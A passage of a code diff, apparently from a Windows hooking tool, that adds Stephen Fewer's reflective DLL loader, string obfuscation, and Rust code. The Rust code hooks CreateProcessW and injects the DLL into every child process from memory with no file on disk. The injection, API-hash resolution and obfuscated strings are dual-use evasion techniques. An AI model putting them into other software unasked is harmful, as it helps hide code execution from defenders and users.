dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5b: register exception function table (.pdata) with the OS.
|
||||
// Reflective loading bypasses the normal loader which would do this via
|
||||
// LdrpInsertDataTableEntry. Without registration, any exception that
|
||||
// unwinds through our hook functions causes STATUS_ACCESS_VIOLATION.
|
||||
#ifdef WIN_X64
|
||||
if (pRtlAddFunctionTable)
|
||||
{
|
||||
PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
|
||||
{
|
||||
PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
||||
if (pExcDir->VirtualAddress && pExcDir->Size)
|
||||
{
|
||||
typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
|
||||
((RTLADDFNTABLE)pRtlAddFunctionTable)(
|
||||
(PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
|
||||
pExcDir->Size / sizeof(RUNTIME_FUNCTION),
|
||||
(DWORD64)uiBaseAddress
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
// Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list).
|
||||
if (pNtFlushInstructionCache)
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// Store the parameter globally so DllMain can access it
|
||||
g_lpReflectiveParameter = lpParameter;
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,215 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#include <intrin.h>
|
||||
#else
|
||||
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
|
||||
#include <stdlib.h>
|
||||
#include <intrin.h>
|
||||
#endif
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic( _rotr )
|
||||
#define RDI_INLINE __forceinline
|
||||
#else
|
||||
#define RDI_INLINE static inline __attribute__((always_inline))
|
||||
#endif
|
||||
|
||||
RDI_INLINE DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
RDI_INLINE DWORD hash(char* c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,57 @@
|
||||
#pragma once
|
||||
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define OBFS_KEY 16
|
||||
|
||||
#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
|
||||
|
||||
static inline char* obfs_dec(char* buf, int len)
|
||||
{
|
||||
for (int i = 0; i < len; i++)
|
||||
buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
|
||||
return buf;
|
||||
}
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define OBFS(arr) \
|
||||
obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
|
||||
(int)(sizeof(arr) - 1))
|
||||
#else
|
||||
#define OBFS(arr) \
|
||||
obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
|
||||
(int)(sizeof(arr) - 1))
|
||||
#endif
|
||||
|
||||
// ---- Encrypted string arrays ----
|
||||
// Use _OBF_CHR() for each character so the compiler folds to constants.
|
||||
|
||||
static const unsigned char _enc_ReflectiveLoader[] = {
|
||||
_OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
|
||||
_OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
||||
_OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
|
||||
_OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
|
||||
};
|
||||
|
||||
static const unsigned char _enc_ntdll_dll[] = {
|
||||
_OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
|
||||
_OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
|
||||
_OBF_CHR('l'), 0
|
||||
};
|
||||
|
||||
static const unsigned char _enc_RtlAddFunctionTable[] = {
|
||||
_OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
|
||||
_OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
|
||||
_OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
||||
_OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
|
||||
_OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
|
||||
};
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -10,7 +10,12 @@ pub const STATUS_UNSUCCESSFUL: i32 = 0xC000_0001u32 as i32;
|
||||
// ---- Memory allocation constants ----
|
||||
pub const MEM_COMMIT: u32 = 0x1000;
|
||||
pub const MEM_RESERVE: u32 = 0x2000;
|
||||
pub const MEM_RELEASE: u32 = 0x8000;
|
||||
pub const PAGE_READWRITE: u32 = 0x04;
|
||||
pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
|
||||
// ---- File mapping (RDI DLL section) constants ----
|
||||
pub const FILE_MAP_READ: u32 = 0x0004;
|
||||
|
||||
// ---- CreateProcess flags ----
|
||||
pub const CREATE_SUSPENDED: u32 = 0x0000_0004;
|
||||
@@ -180,6 +185,25 @@ extern "system" {
|
||||
flAllocationType: u32,
|
||||
flProtect: u32,
|
||||
) -> usize;
|
||||
pub fn VirtualFreeEx(
|
||||
hProcess: usize,
|
||||
lpAddress: usize,
|
||||
dwSize: usize,
|
||||
dwFreeType: u32,
|
||||
) -> i32;
|
||||
pub fn OpenFileMappingW(
|
||||
dwDesiredAccess: u32,
|
||||
bInheritHandle: i32,
|
||||
lpName: *const u16,
|
||||
) -> usize;
|
||||
pub fn MapViewOfFile(
|
||||
hFileMappingObject: usize,
|
||||
dwDesiredAccess: u32,
|
||||
dwFileOffsetHigh: u32,
|
||||
dwFileOffsetLow: u32,
|
||||
dwNumberOfBytesToMap: usize,
|
||||
) -> usize;
|
||||
pub fn UnmapViewOfFile(lpBaseAddress: usize) -> i32;
|
||||
pub fn WriteProcessMemory(
|
||||
hProcess: usize,
|
||||
lpBaseAddress: usize,
|
||||
|
||||
@@ -12,6 +12,8 @@ pub struct HookConfig {
|
||||
|
||||
const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH";
|
||||
const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH";
|
||||
pub const RDI_DLL_SECTION: &str = "RDI_DLL_SECTION";
|
||||
pub const RDI_DLL_SIZE: &str = "RDI_DLL_SIZE";
|
||||
|
||||
pub fn load() -> HookConfig {
|
||||
HookConfig {
|
||||
@@ -20,7 +22,7 @@ pub fn load() -> HookConfig {
|
||||
}
|
||||
}
|
||||
|
||||
fn read_env(name: &str) -> Vec<u16> {
|
||||
pub fn read_env(name: &str) -> Vec<u16> {
|
||||
let name = name.encode_utf16().chain(core::iter::once(0)).collect::<Vec<u16>>();
|
||||
let mut buf = [0u16; ENV_BUFFER_WCHARS as usize];
|
||||
unsafe {
|
||||
|
||||
@@ -376,19 +376,27 @@ pub extern "system" fn detour_create_process_w(
|
||||
dbg_log!(
|
||||
"CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection"
|
||||
);
|
||||
} else if let Some(path) = inject::our_path() {
|
||||
if !path.is_empty() {
|
||||
let ok = unsafe { inject::inject_library((*lp_process_information).hProcess, path) };
|
||||
dbg_log!(
|
||||
"CreateProcessW child pid={child_pid} app='{}' inject={ok} suspended_forced={}",
|
||||
display_cmd(lp_application_name, lp_command_line),
|
||||
!was_suspended,
|
||||
);
|
||||
} else {
|
||||
let h_process = unsafe { (*lp_process_information).hProcess };
|
||||
let injected = if let Some(bytes) = inject::dll_bytes() {
|
||||
unsafe { inject::inject_reflective(h_process, bytes) }
|
||||
} else if let Some(path) = inject::our_path() {
|
||||
if path.is_empty() {
|
||||
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty");
|
||||
false
|
||||
} else {
|
||||
unsafe { inject::inject_library(h_process, path) }
|
||||
}
|
||||
} else {
|
||||
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll path recorded");
|
||||
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll bytes or path");
|
||||
false
|
||||
};
|
||||
dbg_log!(
|
||||
"CreateProcessW child pid={child_pid} app='{}' inject={injected} mode={} suspended_forced={}",
|
||||
display_cmd(lp_application_name, lp_command_line),
|
||||
if inject::dll_bytes().is_some() { "reflective" } else { "loadlibrary" },
|
||||
!was_suspended,
|
||||
);
|
||||
}
|
||||
if !was_suspended {
|
||||
unsafe {
|
||||
|
||||
@@ -1,7 +1,12 @@
|
||||
//! Child-process injection from disk: LoadLibraryW via CreateRemoteThread.
|
||||
//! Child-process injection.
|
||||
//!
|
||||
//! The injected module path is exactly the path this DLL was loaded from, so a
|
||||
//! child inherits the same staged copy the agent placed on disk.
|
||||
//! Two strategies mirror the C reference:
|
||||
//! - in-memory reflective injection (default): raw DLL bytes come from the
|
||||
//! `RDI_DLL_SECTION` page-file-backed named section passed in the child's
|
||||
//! environment block, and each child runs our exported `ReflectiveLoader`
|
||||
//! on a remote thread — no file on disk;
|
||||
//! - disk fallback: the module's own on-disk path is injected with
|
||||
//! LoadLibraryW when no section bytes were provided.
|
||||
|
||||
use core::ffi::c_void;
|
||||
use std::ptr::null_mut;
|
||||
@@ -11,6 +16,7 @@ use crate::abi::{self, GetModuleFileNameW};
|
||||
use crate::dbg_log;
|
||||
|
||||
static OUR_PATH: OnceLock<Vec<u16>> = OnceLock::new();
|
||||
static DLL_BYTES: OnceLock<Vec<u8>> = OnceLock::new();
|
||||
|
||||
/// Record the on-disk path of this DLL (called from DllMain on attach).
|
||||
pub fn set_our_path(h_instance: usize) {
|
||||
@@ -22,6 +28,16 @@ pub fn our_path() -> Option<&'static Vec<u16>> {
|
||||
OUR_PATH.get()
|
||||
}
|
||||
|
||||
/// Record the raw DLL bytes for in-memory child injection.
|
||||
pub fn set_dll_bytes(bytes: Vec<u8>) {
|
||||
let _ = DLL_BYTES.set(bytes);
|
||||
}
|
||||
|
||||
/// Raw DLL bytes loaded from the RDI_DLL_SECTION environment section, if any.
|
||||
pub fn dll_bytes() -> Option<&'static Vec<u8>> {
|
||||
DLL_BYTES.get()
|
||||
}
|
||||
|
||||
fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
|
||||
let mut buf = vec![0u16; 1024];
|
||||
unsafe {
|
||||
@@ -31,6 +47,238 @@ fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
|
||||
buf
|
||||
}
|
||||
|
||||
/// Open the `RDI_DLL_SECTION`/`RDI_DLL_SIZE` environment section and copy the
|
||||
/// DLL bytes out of it. Returns None (without touching the section) when the
|
||||
/// parent did not provide it — the loadlibrary-mode disk fallback then applies.
|
||||
pub unsafe fn load_dll_bytes_from_section() -> Option<Vec<u8>> {
|
||||
let name = crate::config::read_env(crate::config::RDI_DLL_SECTION);
|
||||
let size_raw = crate::config::read_env(crate::config::RDI_DLL_SIZE);
|
||||
if name.is_empty() || size_raw.is_empty() {
|
||||
dbg_log!("section: no RDI_DLL_SECTION/RDI_DLL_SIZE env — reflective child inject disabled");
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut size: usize = 0;
|
||||
for &c in &size_raw {
|
||||
if !(0x30..=0x39).contains(&c) {
|
||||
dbg_log!("section: RDI_DLL_SIZE not ASCII digits — reflective child inject disabled");
|
||||
return None;
|
||||
}
|
||||
size = size.saturating_mul(10).saturating_add((c - 0x30) as usize);
|
||||
}
|
||||
if size == 0 {
|
||||
dbg_log!("section: RDI_DLL_SIZE is 0 — reflective child inject disabled");
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut name_null = name.clone();
|
||||
name_null.push(0);
|
||||
let handle = unsafe { abi::OpenFileMappingW(abi::FILE_MAP_READ, 0, name_null.as_ptr()) };
|
||||
if handle == 0 {
|
||||
dbg_log!("section: OpenFileMappingW failed for '{}'", crate::log::display_wide(&name));
|
||||
return None;
|
||||
}
|
||||
|
||||
let view = unsafe { abi::MapViewOfFile(handle, abi::FILE_MAP_READ, 0, 0, size) };
|
||||
if view == 0 {
|
||||
unsafe {
|
||||
abi::CloseHandle(handle);
|
||||
}
|
||||
dbg_log!("section: MapViewOfFile failed (size={size})");
|
||||
return None;
|
||||
}
|
||||
|
||||
let bytes = unsafe { std::slice::from_raw_parts(view as *const u8, size) }.to_vec();
|
||||
unsafe {
|
||||
abi::UnmapViewOfFile(view);
|
||||
abi::CloseHandle(handle);
|
||||
}
|
||||
dbg_log!("section: loaded {size} DLL bytes for reflective child inject");
|
||||
Some(bytes)
|
||||
}
|
||||
|
||||
/// Locate the file offset of the `ReflectiveLoader` export within a raw PE
|
||||
/// image (raw memory offset == file offset because the bytes are copied 1:1).
|
||||
/// Reads are bounds-checked so a truncated image never faults.
|
||||
fn find_reflective_loader_offset(pe: &[u8]) -> Option<u32> {
|
||||
if pe.len() < 64 || pe[0] != b'M' || pe[1] != b'Z' {
|
||||
return None;
|
||||
}
|
||||
let lfanew = u32::from_le_bytes([pe[60], pe[61], pe[62], pe[63]]) as usize;
|
||||
if lfanew + 4 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
if pe[lfanew..lfanew + 4] != [0x50, 0x45, 0x00, 0x00] {
|
||||
return None;
|
||||
}
|
||||
|
||||
let coff = lfanew + 4;
|
||||
if coff + 20 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let num_sections = u16::from_le_bytes([pe[coff + 2], pe[coff + 3]]);
|
||||
let opt_size = u16::from_le_bytes([pe[coff + 16], pe[coff + 17]]) as usize;
|
||||
let opt = coff + 20;
|
||||
if opt + 2 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let magic = u16::from_le_bytes([pe[opt], pe[opt + 1]]);
|
||||
|
||||
let dd_off = match magic {
|
||||
0x20B => opt + 112, // PE32+ (x64)
|
||||
0x10B => opt + 96, // PE32
|
||||
_ => return None,
|
||||
};
|
||||
if dd_off + 40 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let export_rva = u32::from_le_bytes([pe[dd_off], pe[dd_off + 1], pe[dd_off + 2], pe[dd_off + 3]]);
|
||||
if export_rva == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let section_off = opt + opt_size;
|
||||
let export_off = rva_to_file_offset(export_rva, pe, section_off, num_sections)? as usize;
|
||||
if export_off + 40 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let names_rva = u32::from_le_bytes(pe[export_off + 32..export_off + 36].try_into().ok()?);
|
||||
let funcs_rva = u32::from_le_bytes(pe[export_off + 28..export_off + 32].try_into().ok()?);
|
||||
let ordinals_rva = u32::from_le_bytes(pe[export_off + 36..export_off + 40].try_into().ok()?);
|
||||
let num_names = u32::from_le_bytes(pe[export_off + 24..export_off + 28].try_into().ok()?);
|
||||
|
||||
let names_off = rva_to_file_offset(names_rva, pe, section_off, num_sections)? as usize;
|
||||
let funcs_off = rva_to_file_offset(funcs_rva, pe, section_off, num_sections)? as usize;
|
||||
let ordinals_off = rva_to_file_offset(ordinals_rva, pe, section_off, num_sections)? as usize;
|
||||
|
||||
let find_name = b"ReflectiveLoader";
|
||||
for i in 0..num_names as usize {
|
||||
let name_ent = names_off + i * 4;
|
||||
if name_ent + 4 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let name_rva = u32::from_le_bytes(pe[name_ent..name_ent + 4].try_into().ok()?);
|
||||
let Some(name_fo) = rva_to_file_offset(name_rva, pe, section_off, num_sections) else {
|
||||
continue;
|
||||
};
|
||||
let name_fo = name_fo as usize;
|
||||
if name_fo + find_name.len() > pe.len() {
|
||||
continue;
|
||||
}
|
||||
let name = &pe[name_fo..name_fo + find_name.len()];
|
||||
if name != find_name || pe.get(name_fo + find_name.len()) != Some(&0) {
|
||||
continue;
|
||||
}
|
||||
let ord_ent = ordinals_off + i * 2;
|
||||
if ord_ent + 2 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let ordinal = u16::from_le_bytes([pe[ord_ent], pe[ord_ent + 1]]) as usize;
|
||||
let func_ent = funcs_off + ordinal * 4;
|
||||
if func_ent + 4 > pe.len() {
|
||||
return None;
|
||||
}
|
||||
let func_rva = u32::from_le_bytes(pe[func_ent..func_ent + 4].try_into().ok()?);
|
||||
return rva_to_file_offset(func_rva, pe, section_off, num_sections);
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn rva_to_file_offset(rva: u32, pe: &[u8], section_off: usize, num_sections: u16) -> Option<u32> {
|
